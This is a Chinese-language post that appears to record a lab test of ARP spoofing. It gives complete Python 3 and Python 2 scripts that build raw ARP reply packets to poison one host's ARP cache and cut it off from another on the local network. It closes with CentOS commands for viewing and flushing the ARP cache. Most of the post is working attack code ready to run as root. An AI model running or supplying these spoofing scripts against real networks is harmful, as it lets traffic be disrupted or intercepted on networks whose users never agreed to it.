基于python发送ARP欺骗消息
测试通过发送ARP欺骗数据包阻断局域网两台机器的连接
利用linux下python的socket标准库(socket.socket(socket.AF_PACKET, socket.SOCK_RAW)),发送自定义数据包到目标机器完成欺骗测试尝试,主要代码参考如下。
发送arp欺骗包
攻击成功后,18与19之前通信中断
18主机上ARP变更情况
python3发送arp欺骗
# -*- coding: utf-8 -*-
## root@linux python3
import socket
def send_arp_is_at():
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
### 数据包出口网卡
s.bind(("ens37", 0))
## 虚假IP
#src_ip_addr = b"\x0a\x0a\x01\x13"
src_ip_addr = ip2bin_ip("10.10.1.19")
## 虚假MAC地址(使目标虚假IP与被欺骗主机IP通信中断)
#dst_mac_addr = b"\x00\x0c\x29\x05\x11\x00"
dst_mac_addr = mac2bin_mac("00:0c:29:05:11:00")
## 即将被欺骗的主机的IP
dst_ip_addr = ip2bin_ip("10.10.1.18")
## 即将被欺骗方的MAC地址
src_mac_addr = mac2bin_mac("00:0c:29:05:6c:36")
## arp 回应
arp_opcode = b"\x00\x02"
s.send(src_mac_addr+dst_mac_addr+b"\x08\x06\x00\x01\x08\x00\x06\x04"+arp_opcode+dst_mac_addr+src_ip_addr+src_mac_addr+dst_ip_addr+b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
print('send send_arp_is_at')
# transfer ip to bin_ip
def ip2bin_ip(ip):
ip_list=ip.split('.')
result_arr = b"";
for i in range(4): #0,1,2,3
tnum = int(ip_list[i])
bnum = tnum.to_bytes(1, byteorder = 'big', signed = False)
result_arr = result_arr + bnum
return result_arr
# transfer mac to bin_mac
def mac2bin_mac(mac):
mac_list=mac.split(':')
result_arr = b"";
for i in range(6): #0,1,2,3,4,5
hexnum = mac_list[i]
result_arr = result_arr + bytearray.fromhex(hexnum)
return result_arr
if __name__ == '__main__':
## 发送欺骗包(使用root账户)
send_arp_is_at()
print("done");
python2发送arp欺骗
# -*- coding: utf-8 -*-
## root@linux python2
import socket
import binascii
## ens37
## 10.10.1.19 \x0a\x0a\x01\x13 00:50:56:3a:11:09
## 10.10.1.18 \x0a\x0a\x01\x12 00:0c:29:05:6c:36
def send_arp_is_at():
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
### 数据包出口网卡
s.bind(("ens37", 0))
## 虚假IP
src_ip_addr = ip2bin_ip("10.10.1.19")
## 虚假MAC地址(使虚假IP与被欺骗主机IP通信中断)
dst_mac_addr = mac2bin_mac("00:0c:29:05:11:00")
#src_ip_addr = "\x0a\x0a\x01\x13"
#dst_mac_addr = "\x00\x0c\x29\x05\x11\x00"
## 即将被欺骗的主机的IP
dst_ip_addr = ip2bin_ip("10.10.1.18")
## 即将被欺骗方的MAC地址
src_mac_addr = mac2bin_mac("00:0c:29:05:6c:36")
## arp 回应
arp_opcode = "\x00\x02"
s.send(src_mac_addr+dst_mac_addr+"\x08\x06\x00\x01\x08\x00\x06\x04"+arp_opcode+dst_mac_addr+src_ip_addr+src_mac_addr+dst_ip_addr+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
print('send send_arp_is_at')
## "00:0c:29:05:6c:36" to str "\x00\x0c\x29\x05\x6c\x36"
def mac2bin_mac(mac):
hexmac = mac.replace(':', "")
return binascii.a2b_hex(hexmac)
## 10.10.1.18 to str "\x0a\x0a\x01\x12"
def ip2bin_ip(ip):
ipns = ip.split('.')
result_arr = "";
for i in range(4): #0,1,2,3
tnum = int(ipns[i])
bnum = hex(tnum)
if(len(bnum)==3):
bnum = "0x0" + bnum[2]
result_arr = result_arr + bnum
result_arr = result_arr.replace("0x","")
return binascii.a2b_hex(result_arr)
if __name__ == '__main__':
## 发送欺骗包(使用root账户)
send_arp_is_at()
print("done");
Centos7 ip命令参考
## 查看ARP列表
ip neighbor show
## 清除ens37网口全部的ARP缓存
ip neighbor flush dev ens37
## 关闭ens37网口
ip l set ens37 down
## 启用ens37网口
ip l set ens37 up